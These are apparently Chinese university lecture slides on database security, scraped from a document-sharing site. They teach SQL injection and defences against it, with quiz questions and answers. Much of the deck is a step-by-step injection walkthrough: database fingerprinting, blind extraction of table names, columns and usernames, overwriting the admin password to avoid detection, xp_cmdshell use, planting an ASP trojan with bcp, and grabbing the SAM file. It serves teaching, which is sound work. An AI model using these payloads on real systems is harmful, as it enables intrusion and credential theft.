第10章数据库系统安全_第1页
第10章数据库系统安全_第2页
第10章数据库系统安全_第3页
第10章数据库系统安全_第4页
第10章数据库系统安全_第5页
已阅读5页,还剩19页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第10章数据库系统安全第一页,共43页。本章提要SQL注入攻击存储过程的攻击SQL注入攻击的防范2第二页,共43页。SQL注入攻击SQL注入攻击是黑客对数据库进行攻击的常用手段之一原因:由于程序员的水平及经验参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入3第三页,共43页。SQL注入攻击途径:通过web表单进行SQL注入攻击通过cookies进行SQL注入攻击

通过url包含的参数值进行SQL注入攻击

4第四页,共43页。SQL注入攻击步骤:SQL注入漏洞的判断分析数据库服务器类型可执行情况发现WEB虚拟目录上传ASP木马得到系统的管理员权限5第五页,共43页。MSSQLServer注入攻击看到URL中有类似“detail.asp?productid”这样的信息,就可以猜测该网站是否存在注入漏洞了6第六页,共43页。MSSQLServer注入攻击第1步:加单引号。如图所示是在浏览器地址栏中http://=392后面加一个单引号,按Enter键后,服务器返回的错误提示。7第七页,共43页。MSSQLServer注入攻击第2步:测试“and1=1”。如图所示,在浏览器地址栏中http:///detail.asp?productid=392后面加“and1=1”,按Enter键后,服务器返回到正常页面8第八页,共43页。MSSQLServer注入攻击第3步:测试“and1=2”。在浏览器地址栏中http:///detail.asp?productid=392后面加“and1=2”,按Enter键后,服务器返回错误提示如果一个网站可以被注入,那么:第2步显示正常网页,第3步显示错误提示,提示”BOF或EOF中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录”。如果一个网站不可以被注入,那么:第2步和第3步都会显示错误提示。9第九页,共43页。MSSQLServer注入攻击第4步:在浏览器地址栏中http://=392后面加“anduser>0”,按Enter键后,服务器返回错误提示,可知是SQLServer数据库。10第十页,共43页。MSSQLServer注入攻击http://=392and(selectcount(*)fromsysobjects)>0如果是SQLServer数据库,那么该网址显示的页面与“?productid=392”是一样的11第十一页,共43页。MSSQLServer注入攻击sysobjects是SQLServer的系统表SQLServer数据库一切信息都保存在sysobjects里例如删除表的SQL语句:if(Exists(Select*FromsysobjectsWherextype=‘U’AndName=‘表名’));droptable[dbo].[表名];12第十二页,共43页。MSSQLServer注入攻击http://=294and(selectcount(*)frommsysobjects)>0,服务器会返回错误提示“不能读取记录;在'msysobjects'上没有读取数据权限。”,说明是SQLServer数据库。13第十三页,共43页。MSSQLServer注入攻击http://=294and(selectcount(*)fromsysobjects)>0,服务器会返回错误提示。14第十四页,共43页。MSSQLServer注入攻击第5步:猜测表名。在浏览器地址栏中http://=392后面加“and(selectcount(*)fromadmin)>=0”,按Enter键后,服务器返回错误提示,说明不存在“admin”表。15第十五页,共43页。MSSQLServer注入攻击继续猜测表名,在http://=392后面加“and(selectcount(*)fromadminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。16第十六页,共43页。MSSQLServer注入攻击第6步:猜测字段名(用户名和密码字段)。猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。在浏览器地址栏中http://=392后面加“andexists(selectcount(name)fromadminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。

17第十七页,共43页。MSSQLServer注入攻击继续猜测用户名字段名,在http://=392后面加“and(selectcount(admin_name)fromadminuser)>=0”,返回正常页面,说明存在“admin_name”用户名字段名,猜测成功。

18第十八页,共43页。MSSQLServer注入攻击然后猜测密码字段名:假设http://=392and(selectcount(admin_pwd)fromadminuser)>=0返回正常页面,则密码字段名猜测成功,密码字段名是“admin_pwd”。19第十九页,共43页。MSSQLServer注入攻击第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。在浏览器地址栏中http://=392后面加“and(selecttop1len(admin_name)fromadminuser)>11”,含义是取第一条记录,测试用户名长度,按Enter键后,返回正常页面,说明用户名的长度大于11。

20第二十页,共43页。MSSQLServer注入攻击继续猜测用户名长度,在http://=392后面加“and(selecttop1len(admin_name)fromadminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。21第二十一页,共43页。MSSQLServer注入攻击猜测第1个字符:从productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>0到productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>121显示正常;获得第1位字符的ASCII码22第二十二页,共43页。MSSQLServer注入攻击productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>122显示不正常,得第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。23第二十三页,共43页。MSSQLServer注入攻击第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即http://=392;updateadminusersetadmin_pwd='a0b923820dcc509a'whereadmin_name='zhoushanshan';“a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。24第二十四页,共43页。MSSQLServer注入攻击寻找注入点判断数据库类型在注入点后直接加上单引号

如果是Access类似下面的报错信息MicrosoftJETDatabaseEngine错误’80040e14’字符串的语法错误在查询表达式’NewsID=294’’中。/ReadNews.asp,行13如果是MSSQLServer类似下面的报错信息MicrosoftOLEDBProviderforODBCDrivers错误’80040e14’[Microsoft][ODBCSQLServerDriver][SQLServer]第1行:’’附近有语法错误/detail.asp,行22在注入点后加上“;--”如果返回正常的页面,说明是MSSQLServer数据库,利用系统表

Access的系统表是msysobjectsMSSQL的系统表是sysobjects在注入点后面分别加上“andexists(selectcount(*)fromsysobjects)”和“andexists(selectcount(*)frommsysobjects)”

利用数据库服务器的系统变量猜测表名、字段名(列名)、记录数、字段长度确定XP_CMDSHELL可执行情况寻找Web虚拟目录上传ASP木马

获得系统管理员权限25第二十五页,共43页。寻找Web虚拟目录第1步:创建一个临时表temptabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--第2步:利用xp_availablemedia来获得当前所有驱动器,并存入temp表中http://=YY;inserttempexecmaster.dbo.xp_availablemedia;--可以通过查询temp的内容来获得驱动器列表及相关信息第3步:利用xp_subdirs获得子目录列表,并存入temp表中http://=YY;insertintotemp(id)execmaster.dbo.xp_subdirs'c:\';--第4步:利用xp_dirtree获得所有子目录的目录树结构,并存入temp表中http://=YY;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--26第二十六页,共43页。上传ASP木马建一张临时表temp,一行一行地输入ASP木马,用bcp命令导出ASP文件bcp"select*fromtemp"queryoutc:\inetpub\\ma.asp-c-Slocalhost-Usa-Pasdf“S”参数为执行查询的服务器“U”参数为用户名“P”参数为密码27第二十七页,共43页。获得系统管理员权限

ASP木马只有USER权限,要想完全控制系统,还要有系统管理员的权限提升权限:复制cmd.exe到可执行虚拟目录(一般为scripts目录)下,人为制造UNICODE漏洞下载SAM文件,破解并获取操作系统中的所有用户名和密码28第二十八页,共43页。如何防范SQL注入攻击用存储过程代替查询限制表单或查询字符串输入的长度检查用户输入的合法性,确信输入的内容只包含合法的数据用户登录名称、密码等数据加密保存检查提取数据的查询所返回的记录数量构造动态SQL语句时,使用类型安全的参数编码机制部署Web应用做安全审评。在每次更新时,还要认真地对所有的编码做安全审评不要把敏感的数据以明文的形式存放在数据库里只给访问数据库的Web应用所需的最低权限29第二十九页,共43页。攻击存储过程SQLServer和Oracle数据库有大量内置存储过程SQLServer2000存储过程xp_cmdshell臭名昭著EXECmaster.dbo.xp_cmdshell‘cmd.exedirc:’EXECmaster.dbo.xp_cmdshell‘ping‘xp_cmdshell在SQLServer2000是默认开启的,2005中默认被禁止,但数据库用户拥有sysadmin权限可以使用sp_configure重新开启它30第三十页,共43页。SQL注入攻击的防范1.使用专业的漏洞扫描工具2.要在Web应用程序开发过程的所有阶段实施代码的安全检查3.使用安全的存储过程对抗SQL注入4.检查数据类型:如用户在输入邮箱时,必须按住邮箱的格式进行检查输入时间、日期时必须严格按照时间、日期的格式进行检查5.从数据库自身的角度来说应该使用最小权限原则避免应用中使用root、dbowner等高权限账户连接数据库31第三十一页,共43页。SQL注入攻击的防范6.在HTML/XML中显示“用户可控数据”前,应该进行htmlescape转义7.使用预编译语句,例如:Stringcustnmae=request.getParamenter(“customerName”);Stringquery=“SELECTaccount_balanceFROMuser_dataWHEREuser_name=?”;PreparedStatementpstmt=connection.prepareStatement(query);pstmt.setString(1,custname);ResultSetresults=pstmt.executeQuery();32第三十二页,共43页。课堂练习1.sql注入防护通常针对编码进行安全加固。以下哪一个不属于加固的范畴?()A.使用参数化语句 B.验证输入 C.规范化 D.使用web安全防火墙2.已知某个链接存在SQL注入漏洞,网址是http://=20,以下哪个URL访问之后,页面不会报错()。A.http://=20’B.http://=20and1=2C.http://=20and1=1D.http://=20and99*9<100DC33第三十三页,共43页。课堂练习3.关于SQL注入说法正确的是()A.SQL注入攻击是攻击者直接对web数据库的攻击B.SQL注入攻击除了可以让攻击者绕过认证之外,不会再有其他危害C.SQL注入漏洞,可以通过加固服务器来实现D.SQL注入攻击,可以造成整个数据库全部泄露4.SQL注入通常会在哪些地方传递参数值而引起SQL注入?(

)A.web表单 B.cookies C.url包含的参数值 D.以上都是DD34第三十四页,共43页。数据库系统安全机制用户标识与鉴别存取控制数据库加密表、属性、记录和数据元素密钥管理集中密钥管理多级密钥管理数据库审计语句审计、特权审计、模式对象审计和资源审计备份与恢复

冷备份、热备份、逻辑备份基于备份的恢复、基于运行时日志的恢复、基于镜像数据库的恢复35第三十五页,共43页。MSSQLServer2005安全管理第1步:启动“MicrosoftSQLServerManagementStudio”,在“对象资源管理器”窗口中选择“ZTG2003”→“安全性”→“登录名”选项。在右侧窗口里双击“sa”,弹出“登录属性-sa”对话框36第三十六页,共43页。MSSQLServer2005安全管理第2步:选择“强制实施策略”复选框,对sa用户进行最强的保护37第三十七页,共43页。MSSQLServer2005安全管理第3步:如果不希望系统管理员登录数据库,可以把系统账号“BUILTIN\Administrators”删除或禁止,右键单击“BUILTIN\Administrators”账号,选择“属性”,单击“状态”,把“是否允许连接到数据库引擎”改为拒绝,“登录”改为禁用即可

38第三十八页,共43页。MSSQLServer2005安全管理第4步:使用IPSec策略阻止所有访问本机的TCP1433,可以使用TCP动态端口,启动“SQLServerConfigurationManager”,所示,右键单击“TCP/IP”,选择“属性”,弹出“TCP/IP属性”对话框,在“IPALL属性”对话框中的“TCP动态端

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论